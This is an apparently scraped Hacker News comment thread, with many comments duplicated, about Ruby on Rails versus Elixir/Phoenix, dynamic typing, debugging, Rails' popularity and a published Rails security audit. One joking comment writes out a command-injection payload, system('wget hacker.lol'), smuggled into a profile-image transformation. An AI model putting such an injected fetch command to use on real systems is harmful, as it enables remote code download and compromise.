Add to this how slow they were to adopt normal production application code changes to Elixir apps where it was proven that the author of the benchmark had no idea how to code an Elixir/Phoenix app and yeah, it does not look good for TechEmpower.
All that being said, use what you like (some even expressed the confusing stance of "I like Ruby's syntax more" which, need I even comment how unprofessional that is?). But to claim Elixir is just some mere 2x times faster than Ruby is misguided. My real production experience from the last 10 years says this is bull.
What's unprofessional about liking one syntax more than another? Of course this shouldn't be the main reason to adopt a language, but having a preference is totally OK.
Look in this sub-thread. One person claimed that is the main reason for them choosing Ruby over Elixir.
I simply cannot respect that.
Having a preference though? Yeah, absolutely fine. We all do.
I simply cannot respect that.
Having a preference though? Yeah, absolutely fine. We all do.
Serious question: do people actually enjoy writing Ruby? I feel I’m writing in something like Bash. I never felt this way until I picked up other languages like Rust, Zig, C#, and learned a tiny bit of programming language theory. After that, the loose and squishy feel of Ruby really started to bug me. Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like they’re experts in C++ or something and then decided to start programming in Ruby.
I had a good background in C++ programming before switching to ruby. At first, I was terrified of the lack of strict typing, but after using it for a while, I realized my concern wasn't that warranted. For me it is about the tradeoff of dealing with types vs productivity. Sure I occasionally get bit by a random "method not defined for nil" error, but it is usually very easy to fix, and I don't run into the issue very often. With ruby, and especially rails, it is about the productivity gains. I can simply accomplish much more in less time and fewer lines of code than I would in other languages/frameworks. Not only am I writing fewer lines of code (usually), the language is very expressive without being overly cryptic. The code is more readable, and to me that results in better maintainability. The strong community and ecosystem emphasis that is put on testing, also leads to more resilient and much more maintainable code.
I disagree, I think weak typing significantly lowers developer productivity. Because your IDE gets lobotomized. Types aren't just for people, they're for programs. If I can't go to definition or go through the control flow that's a problem to me. I program in PHP - I get it. I have to live in the debugger because my IDE is worthless when I'm using bespoke arrays for everything.
Also, most statically typed languages have very robust type inference. If you don't like writing types that's fine - the language can just infer them 95% of the time. A lot of times you can open up a C# file and find next to no types explicitly written. But if you hover over something in your IDE, you can see the type.
Also, most statically typed languages have very robust type inference. If you don't like writing types that's fine - the language can just infer them 95% of the time. A lot of times you can open up a C# file and find next to no types explicitly written. But if you hover over something in your IDE, you can see the type.
Absolutely. I enjoy it so much that I wonder "do people actually NOT enjoy writing Ruby?" It's usually the first tool I pull out of the toolbox for DSLs, scripts, spikes, one-offs and the like. A lot of the time, the project will happily stay in Ruby unless there's a good reason to use something else. And then I move it - horses for courses.
I programmed professionally in C, C++, C#, Deplhi, and a few other languages well before I had even heard of Ruby.
I programmed professionally in C, C++, C#, Deplhi, and a few other languages well before I had even heard of Ruby.
Yes, love it. Rewritten large parts of my stack in it (editor, shell, font renderer, terminal, window manager, file manager)
I started from a background of heavy C++ use, including a lot of template metaprogramming. Convincing me to even give Ruby a chance took a lot, but once I'd tried it I abandoned C++ pretty much immediately, and don't miss it.
I started from a background of heavy C++ use, including a lot of template metaprogramming. Convincing me to even give Ruby a chance took a lot, but once I'd tried it I abandoned C++ pretty much immediately, and don't miss it.
What an odd question lol. Yes, people like writing in Ruby. I’m one of the. Switched from C# in 2016.
You don't miss things like enums, exhaustive switch or any other basic language features? How about `method_missing` its such a crazy idea to me that something like this exists, I know why it exists but I am like why, why such bloat and complexity.
Ruby inheritance is a list of class names. When you call a function on an object, Ruby goes up that list, looking for the first one that defines that function.
If it doesn't find any class defining that function, it calls `method_missing` (and again, goes up the list). The Ruby base object class defines `method_missing`, so if no-other classes in the ineritance list do, you get that one (which then throws the usual error).
IMO, there is zero bloat or complexity added by this; it's super simple language bootstrapping (allowing more of Ruby to be written in Ruby, vs the c interpreter).
What do you see as the bloat and complexity added by this?
If it doesn't find any class defining that function, it calls `method_missing` (and again, goes up the list). The Ruby base object class defines `method_missing`, so if no-other classes in the ineritance list do, you get that one (which then throws the usual error).
IMO, there is zero bloat or complexity added by this; it's super simple language bootstrapping (allowing more of Ruby to be written in Ruby, vs the c interpreter).
What do you see as the bloat and complexity added by this?
No, I honestly don’t. I can emulate an Enum without having an Enum type. I rely less on a compiler and more on myself with automated tests.
> rely less on a compiler and more on myself with automated tests
Part of the problem is when you have to rely on someone else.
Can you elaborate on why you think method_missing is bloat?
As another commenter said,
> it’s about your taste and philosophy.
Personally, method_missing goes against both of mine. It makes programs harder to reason about, more difficult to debug, and nearly impossible to `grep`. That said, I understand that this kind of flexibility is what some people like. I just don’t.
> it’s about your taste and philosophy.
Personally, method_missing goes against both of mine. It makes programs harder to reason about, more difficult to debug, and nearly impossible to `grep`. That said, I understand that this kind of flexibility is what some people like. I just don’t.
That's not a serious question. Of course people do. Your inability to understand the language does not impact anyone else other than yourself. This should go without saying.
I'm also an expert in C, Go and JavaScript. Ruby is an excellent language and the smalltalk paradigm has some real strengths especially for duck typed systems. The only reason I don't use it more often is because it is slow for the type of work I'm doing recently.
It was amazing for web work and it's fantastic for writing small little utility scripts.
A open distaste for things does not make you sophisticated or smart. You're not in any category of high repute when you do this.
I'm also an expert in C, Go and JavaScript. Ruby is an excellent language and the smalltalk paradigm has some real strengths especially for duck typed systems. The only reason I don't use it more often is because it is slow for the type of work I'm doing recently.
It was amazing for web work and it's fantastic for writing small little utility scripts.
A open distaste for things does not make you sophisticated or smart. You're not in any category of high repute when you do this.
I love Rails, its been my to-go framework for reference. But I could never get as confortable with Ruby as writing JS or PHP. I do not know the reason.
I agree. I think..there's too much freedom. Too many ways to do things, and debugging is hard with monkey patching.
If debugging is hard to you in Ruby because of monkey patching, it's an issue of not knowing the debugging tools. Attach pry or Ruby debug, and show the source location of a method, or log them. This isn't surprising - debugging Ruby is different to debugging most static languages, and more tutorials on how to do this well would be nice...
Also the use of monkey patching in Ruby peaked something like a decade and half ago. Outside of Rails, it's generally frowned on and introducing new methods is usually addressed by opting in by including modules these days.
Also the use of monkey patching in Ruby peaked something like a decade and half ago. Outside of Rails, it's generally frowned on and introducing new methods is usually addressed by opting in by including modules these days.
Agreed, it still absolutely astounds me the number of developers out there that do not use a debugger as an essential part of their toolkit.
Can you give an example of where monkey patching made debugging hard? I have a decade of Ruby experience and can't think of a single time it was an issue
This is one of those things that sounds like it'd be a problem but it really isn't
This is one of those things that sounds like it'd be a problem but it really isn't
I spent more of my life that I would like to admit learning and writing Rust. I still build all of my web applications in almost pure Ruby these days. Speed of thought to action is simply unparalleled and it turns out in most situations that was the most important factor.
I do. It's a whole thing that get you down to writing your business logic in an expressive way very easily. Framework (Rails) helps, yes, but even pure Ruby can be nice. I've written a second time accuracy simulator for cars and chargers in a EV charging stations in pure Ruby, that was fast to iterate around and pleasant to write.
The ecosystem, toolchain and all do a lot. It is really missed when I do other languages, and I wish to find the same way of developing elsewhere. I currently do C for embedded in an horrible IDE, and I want to bang my head against the table each time I had to click on something on the interface.
(btw Python is a nightmare for me)
The ecosystem, toolchain and all do a lot. It is really missed when I do other languages, and I wish to find the same way of developing elsewhere. I currently do C for embedded in an horrible IDE, and I want to bang my head against the table each time I had to click on something on the interface.
(btw Python is a nightmare for me)
Yes. I do. I enjoy ruby so much.
After 10 years working with Java. Now I dont wanna go back anymore.
It is about your taste and philosophy. I dont think it related skill issue.
After 10 years working with Java. Now I dont wanna go back anymore.
It is about your taste and philosophy. I dont think it related skill issue.
> Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like they’re experts in C++ or something and then decided to start programming in Ruby.
Can you expand on what you’re saying here or why you’re raising this is as an issue with ruby the language or rails the library?
Can you expand on what you’re saying here or why you’re raising this is as an issue with ruby the language or rails the library?
There are several people earlier in this very thread who moved from C++ to Ruby.
Just a personal observation that made my communication with ruby developers hard as I cannot use concepts from strongly typed languages because they live in a word without them, but I guess it's more issue with me than them.
Yes, many people love programming in Ruby. It’s a matter of preference not some lack of technical merit. There are plenty of people who are well equipped in strongly typed languages that write in both. You might not know them but you really don’t have to look very far.
yes, I have used a lot of languages, both static and dynamic, and ruby is one of the ones I love. maintaining large code bases is certainly not its forte, but in terms of expressing what you want in code it is like a tool that fits really well into my hand.
I was a Rails consultant for about 7 years. Then, I switched to Phoenix - really out of just curiosity. Since then, I've never looked back. If you never believed in "Simple is better" philosophy, you will after using Phoenix. The development time is shorter, the bugs are far less since you catch them at compile time and the development experience is unmatched. Oh, and did I mention performance? You can get insane performance just out of the box.
I wouldn't describe LiveView as simple, necessarily. It makes for a great demo, but in my experience it complicates simple things in lots of subtle—and occasionally pernicious—ways.
Whilst you can use Phoenix without LiveView, this is becoming increasingly difficult as the Phoenix developers have clearly decided that LiveView is The Way.
Whilst you can use Phoenix without LiveView, this is becoming increasingly difficult as the Phoenix developers have clearly decided that LiveView is The Way.
+1 from me. I already spend more time learning phoenix in my free time than I'd like to admit and I'm stil waiting for the moment it makes 'click'.
It's just so hard sometimes to wrap your head around the abstractions, even though they are shallow + things are changing fast. I feel like my django-ish mental modal of web applications is also getting in the way a lot.
It would probably help, if I could spend more time with less interruptions on it. But I have to say that I expected to get into it a lot quicker since it's praised so much for it's dev experience.
It's just so hard sometimes to wrap your head around the abstractions, even though they are shallow + things are changing fast. I feel like my django-ish mental modal of web applications is also getting in the way a lot.
It would probably help, if I could spend more time with less interruptions on it. But I have to say that I expected to get into it a lot quicker since it's praised so much for it's dev experience.
Shameless self-plug: if you’re struggling to learn Phoenix maybe I can help?
https://learnphoenixliveview.com
https://learnphoenixliveview.com
I never mentioned LiveView in my comment, just Phoenix (you can use Phoenix without LiveView). But, in defense of LiveView, I use it in production - however, you will need something to compliment it for sure - I use Svelte 5, which is great. LV has a learning curve, but it makes development so much better once you get the hang of it, tbh. May need some 2-3 projects to get used to it. My $0.02.
FWIW, I've been using LV in production for five years. My comment stands.
I keep reading about a shortage of phoenix jobs. Any advice?
What caused the drop in popularity in RoR? It seemed like ~10-12 years ago RoR was the de-facto startup standard. On any given day there were multiple items on the HN front page having something to do with RoR.
NodeJS and the siren's song of using the same language on the server as the client.
Despite the popularity, node never caught up with rails in terms of features and productivity. I was part of a replatforming from rails to node some 10 years ago. So many things we had to just rewrite because there was no option at the time in node. The team lead that made the decision left half-way through the project. Second worst thing to happen to me in my career, after covid of course.
Despite the popularity, node never caught up with rails in terms of features and productivity. I was part of a replatforming from rails to node some 10 years ago. So many things we had to just rewrite because there was no option at the time in node. The team lead that made the decision left half-way through the project. Second worst thing to happen to me in my career, after covid of course.
Well and that JS is really fast thanks to V8 and TS has leapfrogged Ruby in terms of developer tooling. Personally I think Ruby is a nicer language and JS has a lot of odd quirks but it became Java. A good natural choice that can be used for any project.
> leapfrogged Ruby in terms of developer tooling
The only thing I would ever want from js is destructuring assignment. There's rightward assignment in ruby now but it's pretty clunky.
> became Java
Best laugh I've had all week.
The only thing I would ever want from js is destructuring assignment. There's rightward assignment in ruby now but it's pretty clunky.
> became Java
Best laugh I've had all week.
Java is both significantly faster than JS and significantly less buggy/footgunny. JS is pretty much just a bad language in my mind. It seems specifically designed to create as many bugs as humanly possible. It's a lot like C++ in that way, but at least C++ is actually performant.
Mobile came on scene, which meant you wanted an API, which split web development into backend and frontend. At the same time, the powerful-but-crusty complexities of enterprise Java backend world, which Rails stood in opposition to, started to get more lightweight and fashionable answers in the Go/Kafka/gRPC/microservices scene. While a very convenient overall development experience, it didn't stack up as well when considered in isolation as either a backend or a frontend technology. Much of the Javascript integration it has today (Turbo, etc) came after people had already moved on.
> What caused the drop in popularity in RoR? It seemed like ~10-12 years ago RoR was the de-facto startup standard. On any given day there were multiple items on the HN front page having something to do with RoR
New things are "simple", and old things are inevitably complex, which always attracts the new generation of inexperienced coders (I include myself in this). This continues until all of the complexity of the domain are captured in the "new" thing, and the cycle begins again. Rails is vastly more sophisticated than when I started using it in ~2007, when things like CSRF attack mitigation weren't even built in. So it's a better framework now, but you have to understand a lot more to get started.
Also, from ~2012 until recently, bootcamps have been pumping out new programmers who only know Javascript because it was possible to do a full-stack web app with JS, and the bootcamps would rather not teach another language.
New things are "simple", and old things are inevitably complex, which always attracts the new generation of inexperienced coders (I include myself in this). This continues until all of the complexity of the domain are captured in the "new" thing, and the cycle begins again. Rails is vastly more sophisticated than when I started using it in ~2007, when things like CSRF attack mitigation weren't even built in. So it's a better framework now, but you have to understand a lot more to get started.
Also, from ~2012 until recently, bootcamps have been pumping out new programmers who only know Javascript because it was possible to do a full-stack web app with JS, and the bootcamps would rather not teach another language.
Performance, scalability or ultimately cost. Remember 10 - 15 years ago when Twitter was using Ruby it was a lot slower. Even without YJIT CRuby today would still be 2 - 3x faster than then. Tooling wasn't as good, Hardware were a lot more expensive at the time. So when you have news spread out about how RoR cant scale cheaply, they jump to newer and shinier things like Node.
I would guess running RoR today is 100x cheaper than 10 years before. And will continue to improve as we get ZJIT or running on top of JRuby.
I would guess running RoR today is 100x cheaper than 10 years before. And will continue to improve as we get ZJIT or running on top of JRuby.
When Twitter was using Rails it was also using a totally broken architecture that was way too centralised. Their replatforming also involved rearchitecting.
* Node bringing JS to the backend.
* Python won in data science/analytics and AI/machine learning
* Python also seems to be the high level language used most in academia for non CS engineering (and CS too)
Rails continues to be relatively popular in early stage companies. Plenty of well known companies started with Rails in the last 10+ years and it continues on as part of their stack.
* Python won in data science/analytics and AI/machine learning
* Python also seems to be the high level language used most in academia for non CS engineering (and CS too)
Rails continues to be relatively popular in early stage companies. Plenty of well known companies started with Rails in the last 10+ years and it continues on as part of their stack.
Around that same time, microservice architecture was the new hot. Rails apps tend to be monolithic. Now that many people have realized that microservice architecture is often not worth the complexity costs, monolithic apps are back in fashion, and people are rediscovering how great rails is.
Rails is in steady decline [1].
[1] https://trends.google.com/trends/explore?date=all&geo=US&q=%...
[1] https://trends.google.com/trends/explore?date=all&geo=US&q=%...
> What caused the drop in popularity in RoR?
Async/await. JavaScript and all other modern languages and frameworks have a great concurrency story. Rails still hasn't (but it's coming next year, it's been coming next year for a decade).
Async/await. JavaScript and all other modern languages and frameworks have a great concurrency story. Rails still hasn't (but it's coming next year, it's been coming next year for a decade).
The concurrency story in Ruby is fine. We've been using multi-process Ruby scripts in production for over a decade. The pre 2.7 ruby had some issues, but it's been solid for years. The async/await programming paradigm is painful by comparison. Sure, there are languages out there that have been designed from the ground up with concurrency in mind, that have an even better concurrency story, but those do not put developer happiness(™) front and center.
[deleted]
the allure of the new and shiny
The idea that Rails productivity is "unmatched" is such a holdover from 13 years ago. You can like Rails all you want but it is very much matched by several quality frameworks today. Many of which don't suffer from Rails' very real downsides.
> several quality frameworks
Gonna name names? :)
Gonna name names? :)
Can you tell me why exactly? I've never used Rails but I have tried to understand and modify Gitlab's Ruby code and honestly it was a completely incomprehensible mess. I'm no stranger to large codebases but Gitlab is almost impossible to follow and it seems to be entirely because they use Ruby.
I mean if you look at one file the code seems fairly clean and well written, but if you try and figure out e.g. where a function is called from... well good fucking luck! There's no static typing to help you, and even worse it seems like almost everything is "magically" connected. Like you'll have a function called `foo_bar()` and if you grep for that you get zero results. In the end you'll find that in the `Foo` class there's a list of strings including `BAR` and it constructs the identifier from those.
Absolute nightmare. But people do seem to love Rails... so why?
I mean if you look at one file the code seems fairly clean and well written, but if you try and figure out e.g. where a function is called from... well good fucking luck! There's no static typing to help you, and even worse it seems like almost everything is "magically" connected. Like you'll have a function called `foo_bar()` and if you grep for that you get zero results. In the end you'll find that in the `Foo` class there's a list of strings including `BAR` and it constructs the identifier from those.
Absolute nightmare. But people do seem to love Rails... so why?
I echo the sentiment that you MUST use a debugger when working with ruby/rails. When using a debugger, magic becomes a call stack that is transparently visible. Once proficient and familiar with the conventions, reading it becomes a lot easier.
For Rails's productivity, there's many reasons. One is the 'Active Stack' which acts as a 'standard library' of sorts for the framework.
It provides extremely seamless tooling all the way from the most frontend of concerns (ActiveView - HTML/JS) to the backend (ActiveRecord - SQL ORM layer) and anything in between (ActiveController - HTTP Requests, ActiveMailer - Emails etc.). These tools are simple, robust and cohesive.
These primitives are built on by the community to provide powerful tooling (Devise, OmniAuth, amongst others) that allows one to implement the standard plumbing most SaaS/CRUD apps need in a few minutes - billing, auth, emails so you can get to writing business logic in a few minutes and have the boring stuff solved quickly.
Implementing just these basics in JS can take many hours and have you scratching your head wondering "Why are there 20 different ways to implement X? Why is there no tried and true way for something that are surely been done thousands of times? Why hasn't someone abstracted these details all away yet? Why do I have to npm install for this basic functionality? Wait, why did my build tooling just break?"
For Rails's productivity, there's many reasons. One is the 'Active Stack' which acts as a 'standard library' of sorts for the framework.
It provides extremely seamless tooling all the way from the most frontend of concerns (ActiveView - HTML/JS) to the backend (ActiveRecord - SQL ORM layer) and anything in between (ActiveController - HTTP Requests, ActiveMailer - Emails etc.). These tools are simple, robust and cohesive.
These primitives are built on by the community to provide powerful tooling (Devise, OmniAuth, amongst others) that allows one to implement the standard plumbing most SaaS/CRUD apps need in a few minutes - billing, auth, emails so you can get to writing business logic in a few minutes and have the boring stuff solved quickly.
Implementing just these basics in JS can take many hours and have you scratching your head wondering "Why are there 20 different ways to implement X? Why is there no tried and true way for something that are surely been done thousands of times? Why hasn't someone abstracted these details all away yet? Why do I have to npm install for this basic functionality? Wait, why did my build tooling just break?"
So basically it's that it comes with built in libraries for common tasks? Authentication is definitely a super annoying thing to have to set up manually so I can see the attraction there.
Learn to use a remote debugger, and how to show the method source location.
This may sound snarky, but it's a good faith suggestion. Ruby has all of the tools to make debugging easy, but they're different than what you will expect if you come expecting things to work like in the static typing world.
But as much as I love Ruby, I do agree that Rails has too much unnecessary "magic". Much of which more modern Ruby is a reaction to. Personally I avoid Rails for my Ruby web projects.
This may sound snarky, but it's a good faith suggestion. Ruby has all of the tools to make debugging easy, but they're different than what you will expect if you come expecting things to work like in the static typing world.
But as much as I love Ruby, I do agree that Rails has too much unnecessary "magic". Much of which more modern Ruby is a reaction to. Personally I avoid Rails for my Ruby web projects.
I mean... that sounds like a pretty horrible dev experience. Every time I want to understand a piece of code I have to actually run it? Insane.
For example I'm trying to understand Gitlab's merge train behaviour. Do I have to set up an entire Gitlab instance from source, then create a project, set up CI, run a merge train, all while running Gitlab in a debugger and then set a breakpoint and then finally I can see where the code is called from?
I've also done a lot of work on VSCode which is similarly large but mercifully written in Typescript. For that I just right-click->find all references. It takes 3 seconds.
For example I'm trying to understand Gitlab's merge train behaviour. Do I have to set up an entire Gitlab instance from source, then create a project, set up CI, run a merge train, all while running Gitlab in a debugger and then set a breakpoint and then finally I can see where the code is called from?
I've also done a lot of work on VSCode which is similarly large but mercifully written in Typescript. For that I just right-click->find all references. It takes 3 seconds.
In practice it is not. And no, you don't have to run it, but it makes things a lot easier to do so.
And no, you don't need to do what you suggest, you just need to load all the code into a running Ruby REPL.
It is one consequence of Ruby being as dynamic as it is, but another is that the codebases tends to be far smaller. Anywhere from half to 1/10th of the size of codebases in statically typed languages is my experience, including with direct translations.
And no, you don't need to do what you suggest, you just need to load all the code into a running Ruby REPL.
It is one consequence of Ruby being as dynamic as it is, but another is that the codebases tends to be far smaller. Anywhere from half to 1/10th of the size of codebases in statically typed languages is my experience, including with direct translations.
> load all the code into a running Ruby REPL
That counts as running it if you ask me. And I don't see how just loading the code would help you find the callers of a function?
> Anywhere from half to 1/10th of the size of codebases in statically typed languages is my experience, including with direct translations.
That sounds highly implausible.
That counts as running it if you ask me. And I don't see how just loading the code would help you find the callers of a function?
> Anywhere from half to 1/10th of the size of codebases in statically typed languages is my experience, including with direct translations.
That sounds highly implausible.
> That counts as running it if you ask me. And I don't see how just loading the code would help you find the callers of a function?
Loading it lets you introspect the code for calls. It's not necessarily always trivial to know what the type of the target object will be unless you're prepared to execute candidate methods, but it's rare for this to be an actual issue in practice. The more typical way of doing this would be to call piece of the code but without the elaborate setup you argue you'd need.
You can also use Ripper or Parser to analyse the code if you insist on not loading the code, but you're then making things harder for yourself for no good reason.
And that's really what it boils down to: If you insist on doing things the way you would for a static language, then yes, you will have a bad time.
That's a you issue, not a tooling issue.
> That sounds highly implausible.
It's nevertheless true. I've translated multiple projects feature for feature from C, C++ and other languages to Ruby over the years. It's only implausible to people inexperienced with Ruby.
Loading it lets you introspect the code for calls. It's not necessarily always trivial to know what the type of the target object will be unless you're prepared to execute candidate methods, but it's rare for this to be an actual issue in practice. The more typical way of doing this would be to call piece of the code but without the elaborate setup you argue you'd need.
You can also use Ripper or Parser to analyse the code if you insist on not loading the code, but you're then making things harder for yourself for no good reason.
And that's really what it boils down to: If you insist on doing things the way you would for a static language, then yes, you will have a bad time.
That's a you issue, not a tooling issue.
> That sounds highly implausible.
It's nevertheless true. I've translated multiple projects feature for feature from C, C++ and other languages to Ruby over the years. It's only implausible to people inexperienced with Ruby.
> The more typical way of doing this would be to call piece of the code but without the elaborate setup you argue you'd need.
But how do you call the code if you don't know where it's called from?
Let's have a concrete example. In this `initialize` method how do I know what the arguments are meant to be?
https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitla...
There's no type annotation so the main ways to know are documentation (haha) and seeing what it is called with in existing code. But how do you find where that method is called?
(Note this isn't the best example because I would imagine the `initialize` isn't magically generated, but it is still difficult to search for so it's almost as bad as the magic identifiers.)
But how do you call the code if you don't know where it's called from?
Let's have a concrete example. In this `initialize` method how do I know what the arguments are meant to be?
https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitla...
There's no type annotation so the main ways to know are documentation (haha) and seeing what it is called with in existing code. But how do you find where that method is called?
(Note this isn't the best example because I would imagine the `initialize` isn't magically generated, but it is still difficult to search for so it's almost as bad as the magic identifiers.)
You are not alone. Joined a company with a rails codebase and I really came to hate convention over configuration if you are not familiar with the convention. I've found Ruby on Roda and dry-rb much more understandable. I guess it's really a matter of taste. I've did C++ and Java before and while I appreciate Ruby rails is too much magic for me. I also hate to run into errors in runtime that a typed language would have catched.
The entire 2012 scene used Rails. Then they realized it was hard to scale and rewrote everything in Go.
> Then they realized it was hard to scale
A rumor perpetuated by exactly one company - Twitter. I know because I was there when it happened and helped dismantle the original monolith.
Rails scales just fine for 99%+ of business cases. If you're doing a sustained 5k writes per second with bursts up to 100k...sure maybe you need something more specialized.
A rumor perpetuated by exactly one company - Twitter. I know because I was there when it happened and helped dismantle the original monolith.
Rails scales just fine for 99%+ of business cases. If you're doing a sustained 5k writes per second with bursts up to 100k...sure maybe you need something more specialized.
Rails has been around for time to change the calculus on it too. It came out in 2004. The smallest instances you can get today on AWS would have counted as fairly powerful servers back then (with insanely fast CPUs), and by the second or third smallest you're beyond anything available at the time, and there's still room to run after that.
Even the slowest web frameworks running on modern hardware take some quite substantial load before they're a problem. It's good when choosing a framework to consider if you're doing stuff where that might be a problem, but it's also good not to overestimate the performance needs for your site.
Even the slowest web frameworks running on modern hardware take some quite substantial load before they're a problem. It's good when choosing a framework to consider if you're doing stuff where that might be a problem, but it's also good not to overestimate the performance needs for your site.
Twitter also would've scaled a lot further on Rails just by dismantling the monolith. I don'tike Rails (though I love Ruby), but the way Rails was scapegoated for an original architecture that was not suited for scale irrespective of framework or language was annoying.
Yep totally agree. And also realistically once we hit that kind of scale it was perfectly reasonably to start looking at other options as well.
It's been a while but I think we were at like 250mm MAUs when we finally decided to break up the rails monolith (and I think it was still on Rails 3 at the time, but don't quote me on that). The number of companies that ever hit that kind of scale approaches zero, and even less in the B2B space.
It's been a while but I think we were at like 250mm MAUs when we finally decided to break up the rails monolith (and I think it was still on Rails 3 at the time, but don't quote me on that). The number of companies that ever hit that kind of scale approaches zero, and even less in the B2B space.
Nah. If anything it's NodeJS that ate Rails' lunch. Around 2013/2014 it took over as the defacto default stack for startup.
The rails doesn't scale trope is pretty old at this point and has largely been discredited. Don't believe me, take a look at Shopify or Github.
That makes perfect sense for people that need to scale. But doesn't explain why newer start ups aren't using it.
Doing things that don't scale is a proven strategy at the beginning, pg even has a post about it
https://www.paulgraham.com/ds.html
Doing things that don't scale is a proven strategy at the beginning, pg even has a post about it
https://www.paulgraham.com/ds.html
> But doesn't explain why newer start ups aren't using it.
Plenty of newer startups use Rails. At least several pretty much every YC batch. You just need to pay attention.
Plenty of newer startups use Rails. At least several pretty much every YC batch. You just need to pay attention.
No static typing would be a good dealbreaker for us.
Ruby has static type system built into the language.
https://github.com/ruby/rbs
There are others you can use if you like.
https://github.com/ruby/rbs
There are others you can use if you like.
Unusable mess.
Ruby should take lessons from Python and TS on how to make proper gradual typing.
Ruby should take lessons from Python and TS on how to make proper gradual typing.
I think a much better way forward is proposed by Jake Zimmerman[1] of the Sorbet team. That is to allow the runtime to parse RBS inline format comments.
That retains Sorbet’s fast static checker and its runtime checks which Typescript compiled to JS lacks.
1. https://blog.jez.io/history-of-sorbet-syntax/
That retains Sorbet’s fast static checker and its runtime checks which Typescript compiled to JS lacks.
1. https://blog.jez.io/history-of-sorbet-syntax/
It should stay true to itself and not do it at all.
Sigh - all languages needn't converge into Grey Goo.
Sigh - all languages needn't converge into Grey Goo.
steep and rbs don't work so well and are the wrong approach. sorbet is also the wrong approach but it works better. The Python 2 -> 3 way would've been a better way to do it but Matz chose an unwise way (separate files) that doomed it combined with a failure to type all the things and make it work. Oh, and very few Ruby gems are cryptographically signed and so most code is mostly untrustworthy. Making important things optional makes them unused and essentially worthless.
All of these problems are worse in javascript.
> a failure to type all the things and make it work
Everything is typed in Ruby.
> a failure to type all the things and make it work
Everything is typed in Ruby.
With so many generative AI tools out there, picking more obscure or niche languages is a detractor because the AI models won't have as much depth of training to pull from when you ask it to do things.
Also, technology choices for B2B web apps is rarely going to be a sole factor in determining success or failure of any business. As much as this community likes to compare performance metrics, benchmarks, frameworks and everyone has personal tastes on what is "good", all of those discussions are mostly irrelevant. Picking something the team is comfortable with and has depth of knowledge in is a good practice.
So just pick Rails and move on with solving business problems :)
Also, technology choices for B2B web apps is rarely going to be a sole factor in determining success or failure of any business. As much as this community likes to compare performance metrics, benchmarks, frameworks and everyone has personal tastes on what is "good", all of those discussions are mostly irrelevant. Picking something the team is comfortable with and has depth of knowledge in is a good practice.
So just pick Rails and move on with solving business problems :)
I do some Rails work and I’ve found that Ruby and Rails are one of generative AIs weaker languages. I usually get pretty shoddy output[1].
I generally don’t use AI during Rails stuff, other than as a hint for a Google search or a docs lookup.
Are you having a different experience?
1. Shoddy output with Ruby and Rails knowledge. In general, I would consider myself pretty advanced with “prompt engineering”.
I generally don’t use AI during Rails stuff, other than as a hint for a Google search or a docs lookup.
Are you having a different experience?
1. Shoddy output with Ruby and Rails knowledge. In general, I would consider myself pretty advanced with “prompt engineering”.
Similar experience. Although, recently just tried Claude Code and it seems to be a pretty good upgrade (both Sonnet and Opus). I'd suggest you to give it a try if you haven't. For UI, Playwright MCP helps a lot. And since it can run rspec too, it can get faster feedback.
To me it is better now, but not as good as certain languages. Since that I'm using Go as well, I do notice Claude Code perform better with Go.
To me it is better now, but not as good as certain languages. Since that I'm using Go as well, I do notice Claude Code perform better with Go.
I'm not expecting perfect output, if there is such a thing. I'm expecting output equivalent to a junior engineer or intern at this point in time. I can tell an agent in the editor I want it to add a many to many join relationship and a multi select field to a form and it does it pretty decently. In some ways this is more automating the tedious tasks which is really what AI's strong suit is right now, in my opinion. Sure I could go move a method around, refactor the 5 classes that call it, etc. but I can delegate that task and its done in a few seconds while I think about the next thing I want to do.
I find if you get too lengthy with tasks or too advanced AI goes off the rails so to speak, sorry for the pun.
I find if you get too lengthy with tasks or too advanced AI goes off the rails so to speak, sorry for the pun.
I've found that OpenAI models write fantastic Rails code, having a deep understanding of Rails codebase conventions. Anthropic's models do seem to have a very hard time writing Ruby in general.
"rails has better vibes" is certainly a take
As with all security audits, most findings are a balance between risk and usability.
I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!
Is there a place where I can pay to fund a Django audit? I would gladly contribute.
I settled for the Rails Way using a subset of the defaults. Not disappointed
Elaborate on your experience?
I am not a programmer and I am still working on my first rails project using AI and the guides. With that, my experience is mostly positive. I want it to be as simple as possible so not devise, no cable or actiontext or mail etc. (subset) - then I want sqlite for production since I will have max 8000 users - mostly read operations. Importmaps (takes time to get the AI to write js that passes jslint.com), plain css, deploy on apache proxy using systemd. What made me comment was that a while ago I was considering to use VIPS because I heard that its much faster and scales better. But since there was the default minimagick I stuck to that, so I was not disappointed when I read the audit.
A seasoned rails developer would know how to do what I want but I only have the chatgpt which keeps trying to push me to use all these Gems so I can scale to my 2 Billion users when I go IPO...
tl;dr working on my little rails site and learning is a joy.
A seasoned rails developer would know how to do what I want but I only have the chatgpt which keeps trying to push me to use all these Gems so I can scale to my 2 Billion users when I go IPO...
tl;dr working on my little rails site and learning is a joy.
and yet people wanna shit at frameworks.!! by choosing something like Rails or another major popular web framework -- you have already mitigated a lot of security vulnerabilities that affect the industry. & no next.js is not a proper web framework. JS doesn't have the equivalent to rails.
The web frameworks we're talking are Rails, Django, Laravel & Spring.
The web frameworks we're talking are Rails, Django, Laravel & Spring.
“Equivalent to Rails” is a nebulous term, but given your examples, I’d offer these as JS equivalents of Rails:
- SvelteKit
- RedwoodJS
- Wasp
There are more options but I think they’d cause more “well, actually” comments than I could bear. :-)
- SvelteKit
- RedwoodJS
- Wasp
There are more options but I think they’d cause more “well, actually” comments than I could bear. :-)
May be even better to link it to the PDF? [1]. From the Changelog I am also guessing most of these are not fixed in 8.0.2? I wonder if they will come with Rails 8.1 which is still not released.
[1] https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final...
[1] https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final...
You really dont want strict same site cookies for the most part. I get that its "more secure" but as soon as someone clicks a link from somewhere else, you open it without being logged in.
Some friends just notified us that this is trending.
Let me know if you have any questions/comments/feedback about the work! It was a great project, I wish we had more budget so that we could spend some time with ruzzy and the C extensions as there's probably some things to be unearthed there with ASAN and UBSAN.
